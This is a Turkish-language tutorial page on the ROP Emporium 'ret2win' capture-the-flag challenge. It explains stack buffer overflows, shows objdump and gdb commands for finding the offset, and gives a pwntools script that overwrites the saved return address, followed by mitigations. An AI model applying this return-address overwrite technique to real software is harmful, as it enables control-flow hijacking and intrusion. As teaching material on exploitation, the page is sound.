Skip to content

ret2win

Bir stack buffer'ı overflow'layarak saved return address'i, binary'de var olan ama hiçbir zaman meşru şekilde çağrılmayan bir "win" fonksiyonunun adresiyle overwrite et.

Mechanism

Note

ret2win, ROP-Emporium'un kanonik giriş seviyesi challenge'ıdır. Binary, bir flag dosyasını açıp yazdıran bir fonksiyonla (geleneksel olarak ret2win adıyla) gelir, ama hiçbir control-flow path'i onu çağırmaz. Invariant: bir fonksiyonun ret instruction'ı, stack'in en üstündeki değeri körü körüne rip'e pop'lar. Eğer bir read/gets/fread, yerel bir buffer'ın sonunu geçecek şekilde yazarsa, buffer'ın ve saved rbp'nin hemen üzerinde duran saved return address'i overwrite eder. O saved return address'i &ret2win ile değiştirmek, vulnerable fonksiyon return ettiği anda execution'ı win fonksiyonuna yönlendirir. Hiç code inject edilmez (NX-safe) — image'da zaten mevcut olan code'u yeniden kullanırsın.

Kurtarman gereken tek nicelik offset'tir: input'unun başından saved return address'e kadar olan byte cinsinden mesafe. Geri kalan her şey tek bir 8-byte (veya 4-byte) pointer'dır.

Walkthrough

ROP-Emporium tipik offset'leri not eder: x86-64'te saved return address'e ulaşmak için 40 byte padding, x86'da 44 byte ve ARMv5/MIPS'te ~36 byte.

1. Win fonksiyonunun adresini objdump ile bul:

objdump -d ret2win | grep -A1 '<ret2win>:'
# 0000000000400756 <ret2win>:
#   400756:  push   rbp

2. Offset'i gdb'de (pwndbg/peda) bir cyclic pattern ile doğrula:

gdb ./ret2win
pwndbg> cyclic 60
aaaabaaacaaadaaaeaaaf...
pwndbg> run    # paste the pattern at the prompt
# Program received signal SIGSEGV
pwndbg> cyclic -l faaa     # the 4 bytes now in rsp / control of rip
40

Challenge sayfasından hızlı-ve-kirli bir alternatif: kernel ring buffer'ını sudo dmesg -C ile temizle, 40 karakter ardından 5 büyük X gönder, sonra dmesg'i kontrol et — faulting address 0x...5858585858 içerecek, bu da return address'in offset 40'tan başladığını doğrular.

3. Exploit'i pwntools ile kur:

from pwn import *

elf = ELF('./ret2win')
io  = process('./ret2win')

payload  = b'A' * 40                 # padding to saved RIP
payload += p64(elf.sym['ret2win'])   # overwrite saved return address

io.sendline(payload)
io.interactive()                     # ret2win() prints the flag
Beklenen çıktı
Thank you! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

Warning

x86-64'te ret2win fonksiyonu stack'e karşı push rbp yapabilir / movaps kullanabilir; eğer içeride crash olursa (bir movaps alignment fault'u), call'dan önce rsp'yi 16-byte boundary'ye yeniden hizalamak için başa tek bir ret gadget'ı ekle.

Mitigation

  • Buffer ile saved return address arasına yerleştirilen bir stack canary, overwrite'ı fonksiyon epilogue'unda tespit eder ve ret'ten önce abort eder.
  • Referans verilmeyen win fonksiyonu olmadan derlemek (dead-code elimination) hedefi ortadan kaldırır — ret2win esasen bir öğretim artefaktıdır.
  • Genel stack-overflow hardening'i geçerlidir: kök neden için stack-buffer-overflow ve ASLR'ye bak (ret2win binary'leri non-PIE olarak ASLR'yi devre dışı bırakır, böylece win address statik kalır).

References